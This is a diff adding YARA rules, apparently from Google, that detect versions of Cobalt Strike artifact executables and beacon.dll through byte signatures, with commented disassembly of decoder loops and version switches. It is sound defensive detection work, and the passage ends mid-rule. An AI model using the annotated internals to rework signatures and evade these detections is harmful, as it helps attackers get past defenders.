+rule CobaltStrike_Resources_Artifact32_v3_1_and_v3_2
+{
+	meta:
+		description = "Cobalt Strike's resources/artifact32{.dll,.exe,svc.exe,big.exe,big.dll,bigsvc.exe} and resources/artifact32uac(alt).dll signature for versions 3.1 and 3.2"
+		hash =  "4f14bcd7803a8e22e81e74d6061d0df9e8bac7f96f1213d062a29a8523ae4624"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "4fff7f42-9f50-5945-8ec0-2438ac5c7000"
+	strings:
+	/*
+		89 ??           mov     eax, ecx
+		B? 04 00 00 00  mov     edi, 4
+		99              cdq
+		F7 FF           idiv    edi
+		8B [2]          mov     edi, [ebp+arg_8]
+		8A [2]          mov     al, [edi+edx]
+		30 ??           xor     [ebx], al
+		8A ??           mov     al, [ebx]
+		4?              inc     ebx
+		88 [2]          mov     [esi+ecx], al
+	*/
+
+	$decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 ?? 8A ?? 4? 88 }
+	condition:
+		all of them
+}
+
+rule CobaltStrike_Resources_Artifact32_v3_14_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0"
+		hash =  "888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "8a010305-dce5-55f4-b2dd-a736721efe22"
+	strings:
+	/*
+		C7 [3] 5C 00 00 00  mov     dword ptr [esp+28h], 5Ch ; '\'
+		C7 [3] 65 00 00 00  mov     dword ptr [esp+24h], 65h ; 'e'
+		C7 [3] 70 00 00 00  mov     dword ptr [esp+20h], 70h ; 'p'
+		C7 [3] 69 00 00 00  mov     dword ptr [esp+1Ch], 69h ; 'i'
+		C7 [3] 70 00 00 00  mov     dword ptr [esp+18h], 70h ; 'p'
+		F7 F1               div     ecx
+		C7 [3] 5C 00 00 00  mov     dword ptr [esp+14h], 5Ch ; '\'
+		C7 [3] 2E 00 00 00  mov     dword ptr [esp+10h], 2Eh ; '.'
+		C7 [3] 5C 00 00 00  mov     dword ptr [esp+0Ch], 5Ch ; '\'
+	*/
+
+	$pushFmtStr = {	C7 [3] 5C 00 00 00 C7 [3] 65 00 00 00 C7 [3] 70 00 00 00 C7 [3] 69 00 00 00 C7 [3] 70 00 00 00 F7 F1 C7 [3] 5C 00 00 00  C7 [3] 2E 00 00 00 C7 [3] 5C 00 00 00 }
+  $fmtStr = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
+		
+	condition:
+		all of them
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* Disabled due to bad performance */
+// rule CobaltStrike_Resources_Artifact32svc_Exe_v1_49_to_v3_14
+// {
+// 	meta:
+// 		description = "Cobalt Strike's resources/artifact32svc(big).exe and resources/artifact32uac(alt).exe signature for versions v1.49 to v3.14"
+// 		hash =  "323ddf9623368b550def9e8980fde0557b6fe2dcd945fda97aa3b31c6c36d682"
+// 		author = "gssincla@google.com"
+// 		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+// 		date = "2022-11-18"
+		
+// 	strings:
+// 	/*
+// 		8B [2]   mov     eax, [ebp+var_C]
+// 		89 ??    mov     ecx, eax
+// 		03 [2]   add     ecx, [ebp+lpBuffer]
+// 		8B [2]   mov     eax, [ebp+var_C]
+// 		03 [2]   add     eax, [ebp+lpBuffer]
+// 		0F B6 18 movzx   ebx, byte ptr [eax]
+// 		8B [2]   mov     eax, [ebp+var_C]
+// 		89 ??    mov     edx, eax
+// 		C1 [2]   sar     edx, 1Fh
+// 		C1 [2]   shr     edx, 1Eh
+// 		01 ??    add     eax, edx
+// 		83 [2]   and     eax, 3
+// 		29 ??    sub     eax, edx
+// 		03 [2]   add     eax, [ebp+arg_8]
+// 		0F B6 00 movzx   eax, byte ptr [eax]
+// 		31 ??    xor     eax, ebx
+// 		88 ??    mov     [ecx], al
+// 	*/
+
+// 	$decoderFunc = { 8B [2] 89 ?? 03 [2] 8B [2] 03 [5] 8B [2] 89 ?? C1 [2] C1 [2] 01 ?? 83 [2] 29 ?? 03 [5] 31 ?? 88 }
+	
+// 	condition:
+// 		any of them
+// }
+
+rule CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)"
+		hash =  "871390255156ce35221478c7837c52d926dfd581173818620b738b4b029e6fd9"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "732169be-e334-5774-b0ac-54b217a8b681"
+	strings:
+	/*
+		89 ??           mov     eax, ecx
+		B? 04 00 00 00  mov     edi, 4
+		99              cdq
+		F7 FF           idiv    edi
+		8B [2]          mov     edi, [ebp+var_20]
+		8A [2]          mov     al, [edi+edx]
+		30 [2]          xor     [ebx+ecx], al
+	*/
+
+	$decoderFunc  = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 }
+
+	condition:
+		$decoderFunc
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Artifact64_v1_49_v2_x_v3_0_v3_3_thru_v3_14
+{
+	meta:
+		description = "Cobalt Strike's resources/artifact64{.dll,.exe,big.exe,big.dll,bigsvc.exe,big.x64.dll} and resources/rtifactuac(alt)64.dll signature for versions v1.49, v2.x, v3.0, and v3.3 through v3.14"
+		hash =  "9ec57d306764517b5956b49d34a3a87d4a6b26a2bb3d0fdb993d055e0cc9920d"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "67902782-500e-5a89-8b2a-59ee21bcba3e"
+	strings:
+	/*
+		8B [2]      mov     eax, [rbp+var_4]
+		48 98       cdqe
+		48 89 C1    mov     rcx, rax
+		48 03 4D 10 add     rcx, [rbp+arg_0]
+		8B 45 FC    mov     eax, [rbp+var_4]
+		48 98       cdqe
+		48 03 45 10 add     rax, [rbp+arg_0]
+		44 0F B6 00 movzx   r8d, byte ptr [rax]
+		8B 45 FC    mov     eax, [rbp+var_4]
+		89 C2       mov     edx, eax
+		C1 FA 1F    sar     edx, 1Fh
+		C1 EA 1E    shr     edx, 1Eh
+		01 D0       add     eax, edx
+		83 E0 03    and     eax, 3
+		29 D0       sub     eax, edx
+		48 98       cdqe
+		48 03 45 20 add     rax, [rbp+arg_10]
+		0F B6 00    movzx   eax, byte ptr [rax]
+		44 31 C0    xor     eax, r8d
+		88 01       mov     [rcx], al
+	*/
+
+	$a = { 8B [2] 48 98 48 [2] 48 [3] 8B [2] 48 98 48 [3] 44 [3] 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 48 98 48 [3] 0F B6 00 44 [2] 88 }
+		
+	condition:
+		$a
+}
+
+rule CobaltStrike_Resources_Artifact64_v3_1_v3_2_v3_14_and_v4_0
+{
+	meta:
+		description = "Cobalt Strike's resources/artifact64{svcbig.exe,.dll,big.dll,svc.exe} and resources/artifactuac(big)64.dll signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x"
+		hash =  "2e7a39bd6ac270f8f548855b97c4cef2c2ce7f54c54dd4d1aa0efabeecf3ba90"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "c9e9b8e0-16fe-5abc-b1fe-0e3e586f6db6"
+	strings:
+	/*
+		31 C0                xor     eax, eax
+		EB 0F                jmp     short loc_6BAC16B5
+		41 83 E1 03          and     r9d, 3
+		47 8A 0C 08          mov     r9b, [r8+r9]
+		44 30 0C 01          xor     [rcx+rax], r9b
+		48 FF C0             inc     rax
+		39 D0                cmp     eax, edx
+		41 89 C1             mov     r9d, eax
+		7C EA                jl      short loc_6BAC16A6
+		4C 8D 05 53 29 00 00 lea     r8, aRundll32Exe; "rundll32.exe"
+		E9 D1 FE FF FF       jmp     sub_6BAC1599
+	*/
+
+	$decoderFunction = { 31 ?? EB 0F 41 [2] 03 47 [3] 44 [3] 48 [2] 39 ?? 41 [2] 7C EA 4C [6] E9 }
+
+	condition:
+		$decoderFunction
+}
+
+rule CobaltStrike_Resources_Artifact64_v3_14_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/artifact64{.exe,.dll,svc.exe,svcbig.exe,big.exe,big.dll,.x64.dll,big.x64.dll} and resource/artifactuac(alt)64.exe signature for versions v3.14 through v4.x"
+		hash =  "decfcca0018f2cec4a200ea057c804bb357300a67c6393b097d52881527b1c44"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "1c7731d3-429b-57aa-9c17-8de7d0841b1e"
+	strings:
+	/*
+		41 B8 5C 00 00 00       mov     r8d, 5Ch ; '\'
+		C7 44 24 50 5C 00 00 00 mov     [rsp+68h+var_18], 5Ch ; '\'
+		C7 44 24 48 65 00 00 00 mov     [rsp+68h+var_20], 65h ; 'e'
+		C7 44 24 40 70 00 00 00 mov     [rsp+68h+var_28], 70h ; 'p'
+		C7 44 24 38 69 00 00 00 mov     [rsp+68h+var_30], 69h ; 'i'
+		C7 44 24 30 70 00 00 00 mov     [rsp+68h+var_38], 70h ; 'p'
+		C7 44 24 28 5C 00 00 00 mov     dword ptr [rsp+68h+lpThreadId], 5Ch ; '\'
+		C7 44 24 20 2E 00 00 00 mov     [rsp+68h+dwCreationFlags], 2Eh ; '.'
+		89 54 24 58             mov     [rsp+68h+var_10], edx
+		48 8D 15 22 38 00 00    lea     rdx, Format; Format
+		E8 0D 17 00 00          call    sprintf
+	*/
+
+	$fmtBuilder = {
+			41 ?? 5C 00 00 00
+			C7 [3] 5C 00 00 00
+			C7 [3] 65 00 00 00
+			C7 [3] 70 00 00 00
+			C7 [3] 69 00 00 00
+			C7 [3] 70 00 00 00
+			C7 [3] 5C 00 00 00
+			C7 [3] 2E 00 00 00
+			89 [3]
+			48 [6]
+			E8
+		}
+
+  $fmtString = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
+		
+	condition:
+		all of them
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Beacon_Dll_v1_44
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Version 1.44"
+    hash = "75102e8041c58768477f5f982500da7e03498643b6ece86194f4b3396215f9c2"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "935ee27f-ce1b-5491-b4a3-cb78f199ab1b"
+  strings:
+    /*
+      0F B7 D2  movzx   edx, dx
+      4A        dec     edx; switch 5 cases
+      53        push    ebx
+      8B D9     mov     ebx, ecx; a2
+      83 FA 04  cmp     edx, 4
+      77 36     ja      short def_1000106C; jumptable 1000106C default case
+      FF 24 ??  jmp     ds:jpt_1000106C[edx*4]; switch jump
+    */
+    $version_sig = { 0F B7 D2 4A 53 8B D9 83 FA 04 77 36 FF 24 }
+    
+    /*
+      B1 69          mov     cl, 69h ; 'i'
+      30 88 [4]      xor     byte ptr word_10018F20[eax], cl
+      40             inc     eax
+      3D 28 01 00 00 cmp     eax, 128h
+      7C F2          jl      short loc_10001AD4
+    */
+    $decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 }    
+  
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v1_45
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Version 1.45"
+    hash = "1a92b2024320f581232f2ba1e9a11bef082d5e9723429b3e4febb149458d1bb1"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "04d4d0ee-f1ee-5888-8108-ca55243c770a"
+  strings:
+    /*
+      51        push    ecx
+      0F B7 D2  movzx   edx, dx
+      4A        dec     edx; switch 9 cases
+      53        push    ebx
+      56        push    esi
+      83 FA 08  cmp     edx, 8
+      77 6B     ja      short def_1000106C; jumptable 1000106C default case
+      FF 24 ??  jmp     ds:jpt_1000106C[edx*4]; switch jump
+    */
+    $version_sig = { 51 0F B7 D2 4A 53 56 83 FA 08 77 6B FF 24 }
+
+    /*
+      B1 69          mov     cl, 69h ; 'i'
+      30 88 [4]      xor     byte ptr word_10019F20[eax], cl
+      40             inc     eax
+      3D 28 01 00 00 cmp     eax, 128h
+      7C F2          jl      short loc_10002664
+    */
+    $decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 }
+  
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v1_46
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Version 1.46"
+    hash = "44e34f4024878024d4804246f57a2b819020c88ba7de160415be38cd6b5e2f76"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "79715042-1963-5e48-8b64-7d915da58d84"
+  strings:
+    /*
+      8B F2             mov     esi, edx
+      83 F9 0C          cmp     ecx, 0Ch
+      0F 87 8E 00 00 00 ja      def_1000107F; jumptable 1000107F default case, case 8
+      FF 24 ??          jmp     ds:jpt_1000107F[ecx*4]; switch jump
+    */   
+    $version_sig = { 8B F2 83 F9 0C 0F 87 8E 00 00 00 FF 24 }
+
+    /*
+      B1 69          mov     cl, 69h ; 'i'
+      30 88 [4]      xor     byte ptr word_1001D040[eax], cl
+      40             inc     eax
+      3D A8 01 00 00 cmp     eax, 1A8h
+      7C F2          jl      short loc_10002A04
+    */
+    $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 }
+  
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v1_47
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Version 1.47"
+    hash = "8ff6dc80581804391183303bb39fca2a5aba5fe13d81886ab21dbd183d536c8d"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "ac2249a9-210c-581f-8dd1-7619356dca7d"
+  strings:
+    /*
+      83 F8 12  cmp     eax, 12h
+      77 10     ja      short def_100010BB; jumptable 100010BB default case, case 8
+      FF 24 ??  jmp     ds:jpt_100010BB[eax*4]; switch jump
+    */
+    $version_sig = { 83 F8 12 77 10 FF 24 }
+
+    /*
+      B1 69          mov     cl, 69h ; 'i'
+      30 88 [4]      xor     byte ptr word_1001E040[eax], cl
+      40             inc     eax
+      3D A8 01 00 00 cmp     eax, 1A8h
+    */
+    $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 }
+  
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v1_48
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Version 1.48"
+    hash = "dd4e445572cd5e32d7e9cc121e8de337e6f19ff07547e3f2c6b7fce7eafd15e4"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "dd15099f-ad19-58df-9ed4-ce66d7ee8540"
+  strings:
+    /*
+      48        dec     eax; switch 24 cases
+      57        push    edi
+      8B F1     mov     esi, ecx
+      8B DA     mov     ebx, edx
+      83 F8 17  cmp     eax, 17h
+      77 12     ja      short def_1000115D; jumptable 1000115D default case, case 8
+      FF 24 ??  jmp     ds:jpt_1000115D[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F1 8B DA 83 F8 17 77 12 FF 24 }
+    
+    /*
+      B1 69          mov     cl, 69h ; 'i'
+      30 88 [4]      xor     byte ptr word_1001F048[eax], cl
+      40             inc     eax
+      3D A8 01 00 00 cmp     eax, 1A8h
+      7C F2          jl      short loc_100047B4
+    */
+    $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 }
+  
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v1_49
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Version 1.49"
+    hash = "52b4bd87e21ee0cbaaa0fc007fd3f894c5fc2c4bae5cbc2a37188de3c2c465fe"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "871e28c9-b580-5a32-8529-2290ded1a1b6"
+  strings:
+    /*
+      48                   dec     eax; switch 31 cases
+      56                   push    esi
+      83 F8 1E             cmp     eax, 1Eh
+      0F 87 23 01 00 00    ja      def_1000115B; jumptable 1000115B default case, cases 8,30
+      FF 24 85 80 12 00 10 jmp     ds:jpt_1000115B[eax*4]; switch jump
+    */
+    $version_sig = { 48 56 83 F8 1E 0F 87 23 01 00 00 FF 24 }
+    
+    /*
+      B1 69            mov     cl, 69h ; 'i'
+      90               nop
+      30 88 [4]        xor     byte ptr word_10022038[eax], cl
+      40               inc     eax
+      3D A8 01 00 00   cmp     eax, 1A8h
+      7C F2            jl      short loc_10005940
+    */    
+    $decoder = { B1 ?? 90 30 88 [4] 40 3D A8 01 00 00 7C F2 }
+      
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v2_0_49
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Version 2.0.49"
+    hash = "ed08c1a21906e313f619adaa0a6e5eb8120cddd17d0084a30ada306f2aca3a4e"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "087c584a-5ceb-536a-8842-53fbd668df54"
+  strings:
+    /*
+      83 F8 22          cmp     eax, 22h
+      0F 87 96 01 00 00 ja      def_1000115D; jumptable 1000115D default case, cases 8,30
+      FF 24 ??          jmp     ds:jpt_1000115D[eax*4]; switch jump
+    */
+    $version_sig = { 83 F8 22 0F 87 96 01 00 00 FF 24 }
+
+    /*
+      B1 69            mov     cl, 69h ; 'i'
+      EB 03            jmp     short loc_10006930
+      8D 49 00         lea     ecx, [ecx+0]
+      30 88 [4]        xor     byte ptr word_10023038[eax], cl
+      40               inc     eax
+      3D 30 05 00 00   cmp     eax, 530h
+      72 F2            jb      short loc_10006930
+    */
+    $decoder = { B1 ?? EB 03 8D 49 00 30 88 [4] 40 3D 30 05 00 00 72 F2  }
+  
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v2_1_and_v2_2
+{
+  // v2.1 and v2.2 use the exact same beacon binary (matching hashes)
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 2.1 and 2.2"
+    hash = "ae7a1d12e98b8c9090abe19bcaddbde8db7b119c73f7b40e76cdebb2610afdc2"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "384fb247-aae7-52e1-a45d-6bda0f80a04e"
+  strings:
+    /*
+      49                dec     ecx; switch 37 cases
+      56                push    esi
+      57                push    edi
+      83 F9 24          cmp     ecx, 24h
+      0F 87 8A 01 00 00 ja      def_1000112E; jumptable 1000112E default case, cases 8,30
+      FF 24 ??          jmp     ds:jpt_1000112E[ecx*4]; switch jump
+    */
+    $version_sig = { 49 56 57 83 F9 24 0F 87 8A 01 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte ptr word_1002C040[eax], 69h
+      40             inc     eax
+      3D 10 06 00 00 cmp     eax, 610h
+      72 F1          jb      short loc_1000674A
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v2_3
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 2.3"
+    hash = "00dd982cb9b37f6effb1a5a057b6571e533aac5e9e9ee39a399bb3637775ff83"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "aed092f1-fbb1-5efe-be8d-fb7c5aba1cde"
+  strings:
+    /*
+      49                dec     ecx; switch 39 cases
+      56                push    esi
+      57                push    edi
+      83 F9 26          cmp     ecx, 26h
+      0F 87 A9 01 00 00 ja      def_1000112E; jumptable 1000112E default case, cases 8,30
+      FF 24 ??          jmp     ds:jpt_1000112E[ecx*4]; switch jump
+    */
+    $version_sig = { 49 56 57 83 F9 26 0F 87 A9 01 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte ptr word_1002C040[eax], 69h
+      40             inc     eax
+      3D 10 06 00 00 cmp     eax, 610h
+      72 F1          jb      short loc_1000674A
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v2_4
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 2.4"
+    hash = "78c6f3f2b80e6140c4038e9c2bcd523a1b205d27187e37dc039ede4cf560beed"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "347a6b06-84a8-53ff-80a1-05fa1a48a412"
+  strings:
+    /*
+      4A                dec     edx; switch 48 cases
+      56                push    esi
+      57                push    edi
+      83 FA 2F          cmp     edx, 2Fh
+      0F 87 F9 01 00 00 ja      def_1000112E; jumptable 1000112E default case, cases 6-8,30
+      FF 24 ??          jmp     ds:jpt_1000112E[edx*4]; switch jump
+    */
+    $version_sig = { 4A 56 57 83 FA 2F 0F 87 F9 01 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte ptr word_1002C040[eax], 69h
+      40             inc     eax
+      3D 10 06 00 00 cmp     eax, 610h
+      72 F1          jb      short loc_1000674A
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v2_5
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 2.5"
+    hash = "d99693e3e521f42d19824955bef0cefb79b3a9dbf30f0d832180577674ee2b58"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "a89f9239-099c-5b97-b1df-e8ce2b95ea52"
+  strings:
+    /*
+      48                dec     eax; switch 59 cases
+      57                push    edi
+      8B F2             mov     esi, edx
+      83 F8 3A          cmp     eax, 3Ah
+      0F 87 6E 02 00 00 ja      def_10001130; jumptable 10001130 default case, cases 6-8,30
+      FF 24 ??          jmp     ds:jpt_10001130[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F2 83 F8 3A 0F 87 6E 02 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte ptr word_1002C040[eax], 69h
+      40             inc     eax
+      3D 10 06 00 00 cmp     eax, 610h
+      72 F1          jb      short loc_1000674A
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_0
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.0"
+    hash = "30251f22df7f1be8bc75390a2f208b7514647835f07593f25e470342fd2e3f52"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "132a1be8-f529-5141-ba03-fdf6df3d55d4"
+  strings:
+    /*
+      48                dec     eax; switch 61 cases
+      57                push    edi
+      8B F2             mov     esi, edx
+      83 F8 3C          cmp     eax, 3Ch
+      0F 87 89 02 00 00 ja      def_10001130; jumptable 10001130 default case, cases 6-8,30
+      FF 24 ??          jmp     ds:jpt_10001130[eax*4]; switch jump
+    */
+    $version_sig = { 48 57 8B F2 83 F8 3C 0F 87 89 02 00 00 FF 24 }
+
+    /*
+      80 B0 [4] 69   xor     byte ptr word_1002C040[eax], 69h
+      40             inc     eax
+      3D 10 06 00 00 cmp     eax, 610h
+      72 F1          jb      short loc_1000674A
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_1
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.1"
+    hash = "4de723e784ef4e1633bbbd65e7665adcfb03dd75505b2f17d358d5a40b7f35cf"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+  // v3.1 and v3.2 share the same C2 handler code. We are using a function that
+  // is not included in v3.2 to mark the v3.1 version along with the decoder
+  // which allows us to narrow in on only v3.1 samples
+    id = "aa511dee-69ea-53bd-be90-d2d03d08c550"
+  strings:
+    /*
+      55             push    ebp
+      8B EC          mov     ebp, esp
+      83 EC 58       sub     esp, 58h
+      A1 [4]         mov     eax, ___security_cookie
+      33 C5          xor     eax, ebp
+      89 45 FC       mov     [ebp+var_4], eax
+      E8 DF F5 FF FF call    sub_10002109
+      6A 50          push    50h ; 'P'; namelen
+      8D 45 A8       lea     eax, [ebp+name]
+      50             push    eax; name
+      FF 15 [4]      call    ds:gethostname
+      8D 45 ??       lea     eax, [ebp+name]
+      50             push    eax; name
+      FF 15 [4]      call    ds:__imp_gethostbyname
+      85 C0          test    eax, eax
+      74 14          jz      short loc_10002B58
+      8B 40 0C       mov     eax, [eax+0Ch]
+      83 38 00       cmp     dword ptr [eax], 0
+      74 0C          jz      short loc_10002B58
+      8B 00          mov     eax, [eax]
+      FF 30          push    dword ptr [eax]; in
+      FF 15 [4]      call    ds:inet_ntoa
+      EB 05          jmp     short loc_10002B5D
+      B8 [4]         mov     eax, offset aUnknown; "unknown"
+      8B 4D FC       mov     ecx, [ebp+var_4]
+      33 CD          xor     ecx, ebp; StackCookie
+      E8 82 B7 00 00 call    @__security_check_cookie@4; __security_check_cookie(x)
+      C9             leave
+    */
+    $version_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 }
+
+    /*
+      80 B0 [4] 69   xor     byte ptr word_1002C040[eax], 69h
+      40             inc     eax
+      3D 10 06 00 00 cmp     eax, 610h
+      72 F1          jb      short loc_1000674A
+    */
+    $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_Dll_v3_2
+{
+  meta:
+    description = "Cobalt Strike's resources/beacon.dll Versions 3.2"
+    hash = "b490eeb95d150530b8e155da5d7ef778543836a03cb5c27767f1ae4265449a8d"
+    rs2 ="a93647c373f16d61c38ba6382901f468247f12ba8cbe56663abb2a11ff2a5144"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
